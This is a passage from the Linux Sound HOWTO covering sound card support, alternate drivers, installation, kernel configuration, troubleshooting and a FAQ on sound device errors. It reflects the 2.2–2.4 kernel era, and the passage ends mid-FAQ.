NeoMagic 256AV/256ZX | OpTi 82C931 | Orchid SW32 | Personal Sound System (PSS)
Pinnacle MultiSound | Power Mac onboard sound | Pro Audio Spectrum 16 | Pro Audio Studio 16
Pro Sonic 16 | Q40 onboard sound | Roland MPU-401 MIDI interface | S3 SonicVibes
SGI Visual Workstation | SM Games | SY-1816 | SoundBlaster 1.0
SoundBlaster 16 | SoundBlaster 16ASP | SoundBlaster 2.0 | SoundBlaster 32
SoundBlaster 64 | SoundBlaster AWE32 | SoundBlaster AWE64 | SoundBlaster Live!
SoundBlaster PCI 128 | SoundBlaster PCI 512 | SoundBlaster Pro | SoundBlaster Vibra16
SoundBlaster Vibra16X | TI TM4000M notebook | Terratec Base 1 | Terratec Base 64
ThunderBoard | Trident 4DWave DX/NX | Trident Ali 5451 | Trident SiS 7018
Turtle Beach Maui | Turtle Beach MultiSound Classic | Turtle Beach MultiSound Fiji | Turtle Beach MultiSound Hurricane
Turtle Beach MultiSound Monterey | Turtle Beach MultiSound Pinnacle | Turtle Beach MultiSound Tahiti | Turtle Beach WaveFront Maui
Turtle Beach WaveFront Tropez | Turtle Beach WaveFront Tropez+ | VIA 82Cxxx chip set | VIDC 16-bit sound
Yamaha OPL2 sound chip | Yamaha OPL3 sound chip | Yamaha OPL3-SA1 sound chip | Yamaha OPL3-SA2 sound chip
Yamaha OPL3-SA3 sound chip | Yamaha OPL3-SAx sound chip | Yamaha OPL4 sound chip | Yamaha YM3812 sound chip

A word about compatibility: even though most sound cards are claimed to be SoundBlaster compatible, very few currently sold cards are compatible enough to work with the Linux SoundBlaster driver. These cards usually work better using the MSS/WSS or MAD16 driver. Only real SoundBlaster cards made by Creative Labs, which use Creative's custom chips (e.g. SoundBlaster16 Vibra), MV Jazz16 and ESS688/1688 based cards generally work with the SoundBlaster driver. Trying to use a SoundBlaster Pro compatible 16 bit sound card with the SoundBlaster driver is usually just a waste of time.

The Linux kernel supports the SCSI port provided on some sound cards (e.g. ProAudioSpectrum 16) and the proprietary interface for some CD-ROM drives (e.g. SoundBlaster Pro). See the Linux SCSI HOWTO and CDROM HOWTO documents for more information.

A kernel driver to support joystick ports, including those provided on some sound cards, is included as part of the 2.2 and later kernels.

Note that the kernel SCSI, CD-ROM, joystick, and sound drivers are completely independent of each other.

3.4. Alternate Sound Drivers

3.4.1. OSS/4Front

Sound support in the Linux kernel was originally written by Hannu Savolainen. Hannu then went on to develop the Open Sound system, a commercial set of sound drivers sold by 4Front Technologies that is supported on a number of Unix systems. Red Hat Software sponsored Alan Cox to enhance the kernel sound drivers to make them fully modular. Various other people also contributed bug fixes and developed additional drivers for new sound cards. These modified drivers were shipped by Red Hat in their 5.0 through 5.2 releases. These changes have now been integrated into the standard kernel as of version 2.0. Alan Cox is now the maintainer of the standard kernel sound drivers, although Hannu still periodically contributes code taken from the commercial driver.

The commercial Open Sound System driver from 4Front Technologies tends to be easier to configure and support more sound cards, particularly the newer models. It is also compatible with applications written for the standard kernel sound drivers. The disadvantage is that you need to pay for it, and you do not get source code. You can download a free evaluation copy of the product before deciding whether to purchase it. For more information see the 4Front Technologies web page at http://www.opensound.com.

3.4.2. ALSA

Jaroslav Kysela and others started writing an alternate sound driver for the Gravis UltraSound Card. The project was renamed Advanced Linux Sound Architecture (ALSA) and has resulted in what they believe is a more generally usable sound driver that can be used as a replacement for the built-in kernel drivers. The ALSA drivers support a number of popular sound cards, are full duplex, fully modularized, and compatible with the sound architecture in the kernel. The main web site of the ALSA project is http://www.alsa-project.org. A separate "Alsa-sound-mini-HOWTO" is available which deals with compiling and installing these drivers. The ALSA drivers may move into the standard Linux kernel as part of the 2.5 kernel development.

3.4.3. Turtle Beach

Markus Mummert (mum@mmk.e-technik.tu-muenchen.de) has written a driver package for the Turtle Beach MultiSound (classic), Tahiti, and Monterey sound cards. The documentation states:

It is designed for high quality hard disk recording/playback without losing sync even on a busy system. Other features such as wave synthesis, MIDI and digital signal processor (DSP) cannot be used. Also, recording and playback at the same time is not possible. It currently replaces VoxWare and was tested on several kernel versions ranging from 1.0.9 to 1.2.1. Also, it is installable on UN*X SysV386R3.2 systems.

It can be found at http://www.cs.colorado.edu/~mccreary/tbeach.

3.4.4. Roland MPU-401

Kim Burgaard (burgaard@daimi.aau.dk) has written a device driver and utilities for the Roland MPU-401 MIDI interface. The Linux software map entry gives this description:

A device driver for true Roland MPU-401 compatible MIDI interfaces (including Roland SCC-1 and RAP-10/ATW-10). Comes with a useful collection of utilities including a Standard MIDI File player and recorder.

Numerous improvements have been made since version 0.11a. Among other things, the driver now features IRQ sharing policy and complies with the new kernel module interface. Metronome functionality, possibility for synchronizing e.g. graphics on a per beat basis without losing precision, advanced replay/record/overdub interface and much, much more.

It can be found at ftp://www.ibiblio.org/pub/Linux/kernel/sound/mpu401-0.2.tar.gz.

3.4.5. SoundBlaster Live!

Creative Labs has Linux drivers for several cards, including the SoundBlaster Live!, at http://opensource.creative.com.

3.4.6. Packet Radio

Another novel use for a sound card under Linux is as a modem for amateur packet radio. The 2.1 and later kernels include a driver that works with SoundBlaster and Windows Sound System compatible sound cards to implement 1200 bps AFSK and 9600 bps FSK packet protocols. See the Linux AX25 HOWTO for details (I'm a ham myself, by the way -- callsign VE3ICH).

3.4.7. PC Speaker

An alternate sound driver is available that requires no additional sound hardware; it uses the internal PC speaker. It is software compatible with the sound card driver, but, as might be expected, provides much lower quality output and has much more CPU overhead. The results seem to vary, being dependent on the characteristics of the individual loudspeaker. For more information, see the documentation provided with the release.

The latest version of the PC speaker driver can be found at ftp://ftp.infradead.org/pub/pcsp/.

3.4.8. Parallel Port

Another option is to build a digital to analog converter using a parallel printer port and some additional components. This provides better sound quality than the PC speaker but still has a lot of CPU overhead. The PC sound driver package mentioned above supports this, and includes instructions for building the necessary hardware.

Prev | Home | Next
Sound Card Technology |  | Installation


Installation

The Linux Sound HOWTO
Prev Next

4. Installation

Configuring Linux to support sound involves the following steps:

  1. Installing the sound card.

  2. Configuring Plug and Play (if applicable).

  3. Configuring and building the kernel for sound support.

  4. Creating the device files.

  5. Booting the Linux kernel and testing the installation.

Some Linux distributions provide a sound driver configuration utility that will detect your sound card and set up all of the necessary configuration files to load the appropriate sound drivers for your card. Red Hat Linux, for example, provides the sndconfig utility. If your distribution provides such a tool I suggest you try using it. If it works for you then you can skip the rest of the instructions in this section.

If this fails or you want to follow the manual method in order to better understand what you are doing, then the next sections will cover each of these steps in detail.

4.1. Installing the Sound Card

Follow the manufacturer's instructions for installing the hardware or have your dealer perform the installation.

Older sound cards usually have switch or jumper settings for IRQ, DMA channel, etc; note down the values used. If you are unsure, use the factory defaults. Try to avoid conflicts with other devices (e.g. ethernet cards, SCSI host adaptors, serial and parallel ports) if possible.

Usually you should use the same I/O port, IRQ, and DMA settings that work under DOS. In some cases though (particularly with PnP cards) you may need to use different settings to get things to work under Linux. Some experimentation may be needed.

4.2. Configuring ISA Plug and Play

Some sound cards use the ISA Plug and Play protocol to configure settings for i/o addresses, interrupts, and DMA channels. If you have a newer PCI-bus type of sound card, or one of the very old ISA sound cards that uses fixed settings or jumpers, then you can skip this section.

The preferred way to configure Plug and Play cards is to use the isapnp tools which ship with most Linux distributions (or you can download them from Red Hat's web site http://www.redhat.com/).

First check the documentation for your Linux distribution. It may already have Plug and Play support set up for you or it may work slightly differently than described here. If you need to configure it yourself,the details can be found in the man pages for the isapnp tools. Briefly the process you would normally follow is:

  • Use pnpdump to capture the possible settings for all your Plug and Play devices, saving the result to the file /etc/isapnp.conf.

  • Choose settings for the sound card that do not conflict with any other devices in your system and uncomment the appropriate lines in /etc/isapnp.conf. Don't forget to uncomment the (ACT Y) command near the end.

  • Make sure that isapnp is run when your system boots up, normally done by one of the startup scripts. Reboot your system or run isapnp manually.

If for some reason you cannot or do not wish to use the isapnp tools, there are a couple of other options. If you use the card under Microsoft Windows 95 or 98, you can use the device manager to set up the card, then soft boot into Linux using the LOADLIN program. Make sure Windows and Linux use the same card setup parameters.

If you use the card under DOS, you can use the icu utility that comes with SoundBlaster16 PnP cards to configure it under DOS, then soft boot into Linux using the LOADLIN program. Again, make sure DOS and Linux use the same card setup parameters.

True ISA PnP support is implemented in the 2.4 and later kernels. Some of the sound card drivers now support automatically detecting and configuring the cards without the isapnp tools. Check the documentation for the card's driver for details.

4.3. Configuring the Kernel

You need the appropriate device drivers for your sound card to be present in the kernel. The kernel running on your system may already include the drivers for your sound card. In most cases the drivers would have been built as kernel loadable modules. You can check which drivers are available as modules by looking in the /lib/modules directories. For the 2.4.4 kernel, the sound drivers would normally appear in /lib/modules/2.4.4/kernel/drivers/sound/. If you see the driver(s) for your sound card, you can try using the module directory and skip recompiling the kernel.

If the sound drivers are not already built, you will need to configure and build a new kernel. You can either build the sound drivers into the kernel or build them as kernel loadable modules. In most cases building as modules is preferred, as it allows you to easily experiment with loading different drivers if unsure which one to use and the drivers can be unloaded when not needed, freeing up memory. Building the drivers into the kernel itself may be desirable if you are unfamiliar with kernel modules and want a simpler solution.

The Linux Kernel HOWTO should be consulted for the details of building a kernel. I will just mention here some issues that are specific to sound cards.

If you have never configured the kernel for sound support before it is a good idea to read the relevant documentation included with the kernel sound drivers, particularly information specific to your card type. The files can be found in the kernel documentation directory, usually installed in /usr/src/linux/Documentation/sound. If this directory is missing you likely either have a very old kernel version or you have not installed the kernel source code.

Follow the usual procedure for building the kernel. There are currently three interfaces to the configuration process. A graphical user interface that runs under X11 can be invoked using make xconfig. A menu-based system that only requires text displays is available as make menuconfig. The original method, using make config, offers a simple text-based interface.

When configuring the kernel there will be many choices for selecting the type of sound card you have and the driver options to use. The on-line help within the configuration tool should provide an explanation of what each option is for. Select the appropriate options to the best of your knowledge.

After configuring the options you should compile and install the new kernel as per the Kernel HOWTO.

4.4. Creating the Device Files

For proper operation, device file entries must be created for the sound devices. These are normally created for you during installation of your Linux system. A quick check can be made using the command listed below. If the output is as shown (the date stamp will vary) then the device files are almost certainly okay.
% ls -l /dev/dsp
crw-rw-rw-   1 root     root      14,   3 Apr 25  1995 /dev/dsp

Note that having the right device files there doesn't guarantee anything on its own. The kernel driver must also be loaded or compiled in before the devices will work (more on that later).

In rare cases, if you believe the device files are wrong, you can recreate them. Most Linux distributions have a /dev/MAKEDEV script which can be used for this purpose.

Note that if you are using the devfs filesystem support in the 2.4 kernels, the sound device files are actually found in /dev/sound, but there will be symbolic links to the older devices, such as /dev/dsp.

4.5. Booting Linux and Testing the Installation

You should now be ready to boot the new kernel and test the sound drivers. Follow your usual procedure for installing and rebooting the new kernel (keep the old kernel around in case of problems, of course).

If you are using loadable kernel modules for sound, you will need to load them using the modprobe command for the appropriate drivers, e.g. run the command modprobe sb for a SoundBlaster card.

After booting, or loading the kernel modules, check for a message such as the following using the dmesg command:
Soundblaster audio driver Copyright (C) by Hannu Savolainen 1993-1996
sb: Creative SB AWE64  PnP detected
sb: ISAPnP reports 'Creative SB AWE64  PnP' at i/o 0x220, irq 5, dma 1, 5
SB 4.16 detected OK (220)
sb: 1 Soundblaster PnP card(s) found.

Crystal 4280/46xx + AC97 Audio, version 1.22.32, 10:28:40 Apr 28 2001
cs46xx: Card found at 0xf4100000 and 0xf4000000, IRQ 11
cs46xx: Thinkpad 600X/A20/T20 (1014:0153) at 0xf4100000/0xf4000000, IRQ 11
ac97_codec: AC97 Audio codec, id: 0x4352:0x5914 (Cirrus Logic CS4297A rev B)

The message should indicate that a sound card was found and match your sound card type and jumper settings (if any). The driver may also display some error messages and warnings if you have incorrectly configured the driver or chosen the wrong one.

Previous versions of this HOWTO suggested checking the output of /dev/sndstat. This is no longer supported in the 2.4 and later kernels.

Now you should be ready to play a simple sound file. Get hold of a sound sample file, and send it to the sound device as a basic check of sound output, e.g.
% cat endoftheworld >/dev/dsp
% cat crash.au >/dev/audio

(Make sure you don't omit the ">" in the commands above).

Note that, in general, using cat is not the proper way to play audio files, it's just a quick check. You'll want to get a proper sound player program (described later) that will do a better job.

If the above commands return "I/O error", you should look at the end of the kernel messages listed using the "dmesg" command. It's likely that an error message is printed there. Very often the message is "Sound: DMA (output) timed out - IRQ/DRQ config error?". The above message means that the driver didn't get the expected interrupt from the sound card. In most cases it means that the IRQ or the DMA channel configured to the driver doesn't work. The best way to get it working is to try with all possible DMAs and IRQs supported by the device.

Another possible reason is that the device is not compatible with the device the driver is configured for. This is almost certainly the case when a supposedly "SoundBlaster (Pro/16) compatible" sound card doesn't work with the SoundBlaster driver. In this case you should try to find out the device your sound card is compatible with (by posting to the comp.os.linux.hardware newsgroup, for example).

Some sample sound files can be obtained from ftp://tsx-11.mit.edu/pub/linux/packages/sound/snd-data-0.1.tar.Z>

Now you can verify sound recording. If you have sound input capability, you can do a quick test of this using commands such as the following:
# record 4 seconds of audio from microphone
% dd bs=8k count=4 </dev/audio >sample.au
4+0 records in
4+0 records out
# play back sound
% cat sample.au >/dev/audio

Obviously for this to work you need a microphone connected to the sound card and you should speak into it. You may also need to obtain a mixer program to set the microphone as the input device and adjust the recording gain level.

If these tests pass, you can be reasonably confident that the sound D/A and A/D hardware and software are working. If you experience problems, refer to the next section of this document.

4.6. Troubleshooting

If you still encounter problems after following the instructions in the HOWTO, here are some things to check. The checks are listed in increasing order of complexity. If a check fails, solve the problem before moving to the next stage.

4.6.1. Step 1: Make sure you are really running the kernel you compiled.

You can check the date stamp on the kernel to see if you are running the one that you compiled with sound support. You can do this with the uname command:
% uname -a
Linux fizzbin 2.2.4 #1 Tue Mar 23 11:23:21 EST 1999 i586 unknown

or by displaying the file /proc/version:
% cat /proc/version
Linux version 2.2.4 (root@fizzbin) (gcc version 2.7.2.3) #1 Tue Mar 23 11:23:21 EST 1999

If the date stamp doesn't seem to match when you compiled the kernel, then you are running an old kernel. Did you really reboot? If you use LILO, did you re-install it (typically by running lilo)? If booting from floppy, did you create a new boot floppy and use it when booting?

If you are using kernel loadable modules, use the lsmod command to make sure the modules are loaded:
% /sbin/lsmod
Module                  Size  Used by
sb                      6320   0 (unused)
sb_lib                 35040   0 [sb]
uart401                 6544   0 [sb_lib]
sound                  59888   0 [sb_lib uart401]
soundcore               4144   5 [sb_lib sound]
isa-pnp                28304   0 [sb]
...

4.6.2. Step 2: Make sure the kernel sound drivers are compiled in.

The easiest way to do this is to check the output of dev/sndstat as described earlier. If the output is not as expected then something went wrong with the kernel configuration or build. Start the installation process again, beginning with configuration and building of the kernel.

4.6.3. Step 3: Did the kernel detect your sound card during booting?

Make sure that the sound card was detected when the kernel booted. You should have seen a message on bootup. If the messages scrolled off the screen, you can usually recall them using the dmesg command:
% dmesg

or
% tail /var/log/messages

If your sound card was not found then something is wrong. Make sure it really is installed. If the sound card works under DOS then you can be reasonably confident that the hardware is working, so it is likely a problem with the kernel configuration. Either you configured your sound card as the wrong type or wrong parameters, or your sound card is not compatible with any of the Linux kernel sound card drivers.

One possibility is that your sound card is one of the compatible type that requires initialization by the DOS driver. Try booting DOS and loading the vendor supplied sound card driver. Then soft boot Linux using Control-Alt-Delete. Make sure that card I/O address, DMA, and IRQ settings for Linux are the same as used under DOS. Read the Readme.cards file from the sound driver source distribution for hints on configuring your card type.

If your sound card is not listed in this document, it is possible that the Linux drivers do not support it. You can check with some of the references listed at the end of this document for assistance.

4.6.4. Step 4: Can you read data from the dsp device?

Try reading from the /dev/audio device using the dd command listed earlier in this document. The command should run without errors.

If it doesn't work, then chances are that the problem is an IRQ or DMA conflict or some kind of hardware incompatibility (the device is not supported by Linux or the driver is configured for a wrong device).

A remote possibility is broken hardware. Try testing the sound card under DOS, if possible, to eliminate that as a possibility.

4.6.5. When All Else Fails

If you still have problems, here are some final suggestions for things to try:

  • carefully re-read this HOWTO document

  • read the references listed at the end of this document and the relevant kernel source documentation files

  • post a question to one of the comp.os.linux or other Usenet newsgroups (comp.os.linux.hardware is a good choice; because of the high level of traffic in these groups it helps to put the string "sound" in the subject header for the article so the right experts will see it)

  • Using a web/Usenet search engine with an intelligently selected search criteria can give very good results quickly. One such choice is http://www.google.com

  • try using the latest Linux kernel (but only as a last resort, the latest development kernels can be unstable)

  • send mail to the author of the sound driver

  • send mail to the author of the Sound HOWTO

  • fire up emacs and type Esc-x doctor :-)

Prev | Home | Next
Supported Hardware |  | Applications Supporting Sound


Applications Supporting Sound

The Linux Sound HOWTO
Prev Next

5. Applications Supporting Sound

I give here a sample of the types of applications that you likely want if you have a sound card under Linux. You can check the Linux Software Map, Internet archive sites, and/or files on your Linux CD-ROM for more up to date information.

If you are running a graphical desktop such as KDE or GNOME then it should already include a number of multimedia applications that are integrated with your desktop.

As a minimum, you will likely want to obtain the following sound applications:

  • audio file format conversion utility (e.g. sox)

  • mixer utility (e.g. aumix or xmix)

  • digitized file player/recorder (e.g. play or wavplay)

  • MOD file player (e.g. tracker)

  • MIDI file player (e.g. playmidi)

There are text-based as well as GUI-based versions of most of these tools. There are also some more esoteric applications (e.g. speech synthesis and recognition) that you may wish to try.

Prev | Home | Next
Installation |  | Answers To Frequently Asked Questions


Answers To Frequently Asked Questions

The Linux Sound HOWTO
Prev Next

6. Answers To Frequently Asked Questions

This section answers some of the questions that have been commonly asked on the Usenet news groups and mailing lists.

Answers to more questions can also be found at the OSS sound driver web page.

6.1. What are the various sound device files?

These are the most standard device file names, some Linux distributions may use slightly different names.

/dev/audio

normally a link to /dev/audio0

/dev/audio0

Sun workstation compatible audio device (only a partial implementation, does not support Sun ioctl interface, just u-law encoding)

/dev/audio1

second audio device (if supported by sound card or if more than one sound card installed)

/dev/dsp

normally a link to /dev/dsp0

/dev/dsp0

first digital sampling device

/dev/dsp1

second digital sampling device

/dev/mixer

normally a link to /dev/mixer0

/dev/mixer0

first sound mixer

/dev/mixer1

second sound mixer

/dev/music

high-level sequencer interface

/dev/sequencer

low level MIDI, FM, and GUS access

/dev/sequencer2

normally a link to /dev/music

/dev/midi00

1st raw MIDI port

/dev/midi01

2nd raw MIDI port

/dev/midi02

3rd raw MIDI port

/dev/midi03

4th raw MIDI port

/dev/sndstat

displays sound driver status when read (also available as /proc/sound, removed in 2.4 kernels)

The PC speaker driver provides the following devices:

/dev/pcaudio

equivalent to /dev/audio

/dev/pcsp

equivalent to /dev/dsp

/dev/pcmixer

equivalent to /dev/mixer

6.2. How can I play a sound sample?

Sun workstation (.au) sound files can be played by sending them to the /dev/audio device. Raw samples can be sent to /dev/dsp. This will generally give poor results though, and using a program such as play is preferable, as it will recognize most file types and set the sound card to the correct sampling rate, etc.

If you are running a graphical desktop such as KDE or GNOME then it should already include a graphical sound file player program.

Programs like wavplay or vplay (in the snd-util package) will give best results with WAV files. However they don't recognize Microsoft ADPCM compressed WAV files. Also older versions of play (from the Lsox package) doesn't work well with 16 bit WAV files.

The splay command included in the snd-util package can be used to play most sound files if proper parameters are entered manually in the command line.

6.3. How can I record a sample?

Reading /dev/audio or /dev/dsp will return sampled data that can be redirected to a file. A program such as vrec makes it easier to control the sampling rate, duration, etc. You may also need a mixer program to select the appropriate input device.

6.4. Can I have more than one sound card?

With the current sound driver it's possible to have several SoundBlaster, SoundBlaster/Pro, SoundBlaster16, MPU-401 or MSS cards at the same time on the system. Installing two SoundBlasters is possible but requires defining the macros SB2_BASE, SB2_IRQ, SB2_DMA and (in some cases) SB2_DMA2 by editing local.h manually. It's also possible to have a SoundBlaster at the same time as a PAS16.

With the 2.0 and newer kernels that configure sound using make config, instead of local.h, you need to edit the file /usr/include/linux/autoconf.h. After the section containing the lines:
#define SBC_BASE 0x220
#define SBC_IRQ (5)
#define SBC_DMA (1)
#define SB_DMA2 (5)
#define SB_MPU_BASE 0x0
#define SB_MPU_IRQ (-1)

add these lines (with values appropriate for your system):
#define SB2_BASE 0x330
#define SB2_IRQ (7)
#define SB2_DMA (2)
#define SB2_DMA2 (2)

The following drivers don't permit multiple instances:

  • GUS (driver limitation)

  • MAD16 (hardware limitation)

  • AudioTrix Pro (hardware limitation)

  • CS4232 (hardware limitation)

6.5. Error: No such file or directory for sound devices

You need to create the sound driver device files. See the section on creating device files. If you do have the device files, ensure that they have the correct major and minor device numbers (some older CD-ROM distributions of Linux may not create the correct device files during installation).

6.6. Error: No such device for sound devices

You have not booted with a kernel containing the sound driver or the I/O address configuration doesn't match your hardware. Check that you are running the newly compiled kernel and verify that the settings entered when configuring the sound driver match your hardware setup.

6.7. Error: No space left on device for sound devices

This can happen if you tried to record data to /dev/audio or /dev/dsp without creating the necessary device file. The sound device is now a regular file, and has filled up your disk partition. You need to run the script described in the Creating the Device Files section of this document.

This may also happen with Linux 2.0 and later if there is not enough free RAM on the system when the device is opened. The audio driver requires at least two pages (8k) of contiguous physical RAM for each DMA channel. This happens sometimes in machines with less than 16M of RAM or which have been running for very long time. You can preallocate the DMA buffers when the driver is loaded using the kernel option "dma_buf=1".

6.8. Error: Device busy for sound devices

Only one process can open a given sound device at one time. Most likely some other process is using the device in question. One way to determine this is to use the fuser command:
% fuser -v /dev/dsp
/dev/dsp:             USER       PID ACCESS COMMAND
                      tranter    265 f....  tracker

In the above example, the fuser command showed that process 265 had the device open. Waiting for the process to complete or killing it will allow the sound device to be accessed once again. You should run the fuser command as root in order to report usage by users other than yourself.

On some systems you may need to be root when running the fuser command in order to see the processes of other users.

Under the KDE desktop, the artsd sound server usually take control of the sound device. Applications should make requests to play sound through the sound server, or the sound server should be paused. A similar situation exists under GNOME with the esd sound server.

6.9. I still get device busy errors!

According to Brian Gough, for the SoundBlaster cards which use DMA channel 1 there is a potential conflict with the QIC-02 tape driver, which also uses DMA 1, causing "device busy" errors. If you are using FTAPE, you may have this driver enabled. According to the FTAPE-HOWTO the QIC-02 driver is not essential for the use of FTAPE; only the QIC-117 driver is required. Reconfiguring the kernel to use QIC-117 but not QIC-02 allows FTAPE and the sound-driver to coexist.

6.10. Partial playback of digitized sound file

The symptom is usually that a sound sample plays for about a second and then stops completely or reports an error message about "missing IRQ" or "DMA timeout". Most likely you have incorrect IRQ or DMA channel settings. Verify that the kernel configuration matches the sound card jumper settings and that they do not conflict with some other card.

Another symptom is sound samples that loop. This is usually caused by an IRQ conflict.

6.11. There are pauses when playing MOD files

Playing MOD files requires considerable CPU power. You may have too many processes running or your computer may be too slow to play in real time. Your options are to:

  • try playing with a lower sampling rate or in mono mode

  • eliminate other processes

  • buy a faster computer

  • buy a more powerful sound card (e.g. Gravis UltraSound)

If you have a Gravis UltraSound card, you should use one of the mod file players written specifically for the GUS (e.g. gmod).

6.12. Compile errors when compiling sound applications

The version 1.0c and earlier sound driver used a different and incompatible ioctl() scheme. Obtain newer source code or make the necessary changes to adapt it to the new sound driver. See the sound driver Readme file for details.

Also ensure that you have used the latest version of soundcard.h and ultrasound.h when compiling the application. See the installation instructions at beginning of this text.

6.13. SEGV when running sound binaries that worked previously

This is probably the same problem described in the previous question.

6.14. What known bugs or limitations are there in the sound driver?

See the files included with the sound driver kernel source.

6.15. Where are the sound driver ioctls() etc. documented?

Currently the best documentation, other than the source code, is available at the 4Front Technologies web site, http://www.opensound.com. Another source of information is the Linux Multimedia Guide, described in the references section.

6.16. What CPU resources are needed to play or record without pauses?

There is no easy answer to this question, as it depends on:

  • whether using PCM sampling or FM synthesis

  • sampling rate and sample size

  • which application is used to play or record

  • Sound Card hardware

  • disk I/O rate, CPU clock speed, cache size, etc.

In general, any 386 machine or better should be able to play samples or FM synthesized music on an 8 bit sound card with ease.

Playing MOD files, however, requires considerable CPU resources. Some experimental measurements have shown that playing at 44kHz requires more than 40% of the speed of a 486/50 and a 386/25 can hardly play faster than 22 kHz (these are with an 8 bit card sound such as a SoundBlaster). A card such as the Gravis UltraSound card performs more functions in hardware, and will require less CPU resources.

These statements assume the computer is not performing any other CPU intensive tasks.

Converting sound files or adding effects using a utility such as sox is also much faster if you have a math coprocessor (or CPU with on board FPU). The kernel driver itself does not do any floating point calculations, though.

6.17. Problems with a PAS16 and an Adaptec 1542 SCSI host adaptor

(the following explanation was supplied by seeker@indirect.com)

Linux only recognizes the 1542 at address 330 (default) or 334, and the PAS only allows the MPU-401 emulation at 330. Even when you disable the MPU-401 under software, something still wants to conflict with the 1542 if it's at its preferred default address. Moving the 1542 to 334 makes everyone happy.

Additionally, both the 1542 and the PAS-16 do 16-bit DMA, so if you sample at 16-bit 44 KHz stereo and save the file to a SCSI drive hung on the 1542, you're about to have trouble. The DMAs overlap and there isn't enough time for RAM refresh, so you get the dread ``PARITY ERROR - SYSTEM HALTED'' message, with no clue to what caused it. It's made worse because a few second-party vendors with QIC-117 tape drives recommend setting the bus on/off times such that the 1542 is on even longer than normal. Get the SCSISEL.EXE program from Adaptec's BBS or several places on the internet, and reduce the BUS ON time or increase the BUS OFF time until the problem goes away, then move it one notch or more further. SCSISEL changes the EEPROM settings, so it's more permanent than a patch to the DOS driver line in CONFIG.SYS, and will work if you boot right into Linux (unlike the DOS patch). Next problem solved.

Last problem - the older Symphony chipsets drastically reduced the timing of the I/O cycles to speed up bus accesses. None of various boards I've played with had any problem with the reduced timing except for the PAS-16. Media Vision's BBS has SYMPFIX.EXE that's supposed to cure the problem by twiddling a diagnostic bit in Symphony's bus controller, but it's not a hard guarantee. You may need to:

  • get the motherboard distributor to replace the older version bus chip,

  • replace the motherboard, or

  • buy a different brand of sound card.

Young Microsystems will upgrade the boards they import for around $30 (US); other vendors may be similar if you can figure out who made or imported the motherboard (good luck). The problem is in ProAudio's bus interface chip as far as I'm concerned; nobody buys a $120 sound card and sticks it in a 6MHz AT. Most of them wind up in 25-40MHz 386/486 boxes, and should be able to handle at least 12MHz bus rates if the chips are designed right. Exit soapbox (stage left).

The first problem depends on the chipset used on your motherboard, what bus speed and other BIOS settings, and the phase of the moon. The second problem depends on your refresh option setting (hidden or synchronous), the 1542 DMA rate and (possibly) the bus I/O rate. The third can be determined by calling Media Vision and asking which flavor of Symphony chip is incompatible with their slow design. Be warned, though - 3 of 4 techs I talked to were brain damaged. I would be very leery of trusting anything they said about someone else's hardware, since they didn't even know their own very well.

6.18. Is it possible to read and write samples simultaneously?

The drivers for some sound cards support full duplex mode. Check the documentation available from 4Front Technologies for information on how to use it.

6.19. My SB16 is set to IRQ 2, but configure does not allow this value.

On '286 and later machines, the IRQ 2 interrupt is cascaded to the second interrupt controller. It is equivalent to IRQ 9.

6.20. If I run Linux, then boot DOS, I get errors and/or sound applications do not work properly.

This happens after a soft reboot to DOS. Sometimes the error message misleadingly refers to a bad CONFIG.SYS file.

Most of the current sound cards have software programmable IRQ and DMA settings. If you use different settings between Linux and MS-DOS/Windows, this may cause problems. Some sound cards don't accept new parameters without a complete reset (i.e. cycle the power or use the hardware reset button).

The quick solution to this problem it to perform a full reboot using the reset button or power cycle rather than a soft reboot (e.g. Ctrl-Alt-Del).

The correct solution is to ensure that you use the same IRQ and DMA settings with MS-DOS and Linux (or not to use DOS :-).

6.21. Problems running DOOM under Linux

Users of the port of ID software's game DOOM for Linux may be interested in these notes.

For correct sound output you need version 2.90 or later of the sound driver; it has support for the real-time DOOM mode.

The sound samples are 16-bit. If you have an 8-bit sound card you can still get sound to work using one of several programs available in ftp://www.ibiblio.org/pub/Linux/games/doom.

If performance of DOOM is poor on your system, disabling sound (by renaming the file sndserver) may improve it.

By default DOOM does not support music (as in the DOS version). The program musserver will add support for music to DOOM under Linux. It can be found at ftp://pandora.st.hmc.edu/pub/linux/musserver.tgz.

6.22. How can I reduce noise picked up by my sound card?

Using good quality shielded cables and trying the sound card in different slots may help reduce noise. If the sound card has a volume control, you can try different settings (maximum is probably best). Using a mixer program you can make sure that undesired inputs (e.g. microphone) are set to zero gain.

Philipp Braunbeck reported that on his ESS-1868 sound card there was a jumper to turn off the built-in amplifier which helped reduce noise when enabled.

On one 386 system I found that the kernel command line option no-hlt reduced the noise level. This tells the kernel not to use the halt instruction when running the idle process loop. You can try this manually when booting, or set it up using the command append="no-hlt" in your LILO configuration file.

Some sound cards are simply not designed with good shielding and grounding and are prone to noise pickup.

6.23. I can play sounds, but not record.

If you can play sound but not record, try these steps:

  • use a mixer program to select the appropriate device (e.g. microphone)

  • use the mixer to set the input gains to maximum

  • If you can, try to test sound card recording under MS-DOS to determine if there is a hardware problem

Sometimes a different DMA channel is used for recording than for playback. In this case the most probable reason is that the recording DMA is set up incorrectly.

6.24. My "compatible" sound card only works if I first initialize under MS-DOS.

In most cases a "SoundBlaster compatible" card will work better under Linux if configured with a driver other than the SoundBlaster one. Most sound cards claim to be compatible (e.g. "16 bit SB Pro compatible" or "SB compatible 16 bit") but usually this SoundBlaster mode is just a hack provided for DOS games compatibility. Most cards have a 16 bit native mode which is likely to be supported by recent Linux versions (2.0.1 and later).

Only with some (usually rather old) cards is it necessary to try to get them to work in the SoundBlaster mode. The only newer cards that are the exception to this rule are the Mwave-based cards.

6.25. My 16-bit SoundBlaster "compatible" sound card only works in 8-bit mode under Linux.

16-bit sound cards described as SoundBlaster compatible are really only compatible with the 8-bit SoundBlaster Pro. They typically have a 16-bit mode which is not compatible with the SoundBlaster 16 and not compatible with the Linux sound driver.

You may be able to get the card to work in 16-bit mode by using the MAD16 or MSS/WSS driver.

6.26. Where can I find sound applications for Linux?

Here are some good archive sites to search for Linux specific sound applications:

  • ftp://www.ibiblio.org/pub/Linux/kernel/sound/

  • ftp://www.ibiblio.org/pub/Linux/apps/sound/

  • ftp://tsx-11.mit.edu/pub/linux/packages/sound/>

  • ftp://nic.funet.fi/pub/Linux/util/sound/

  • ftp://nic.funet.fi/pub/Linux/xtra/snd-kit/

  • ftp://nic.funet.fi/pub/Linux/ALPHA/sound/

Also see the References section of this document.

6.27. Can the sound drivers be compiled as a loadable module?

With recent kernels the sound driver is supported as several kernel loadable modules.

See the files in /usr/src/linux/Documentation/sound, especially the files Introduction and README.modules.

6.28. Can I use a sound card to replace the system console beep?

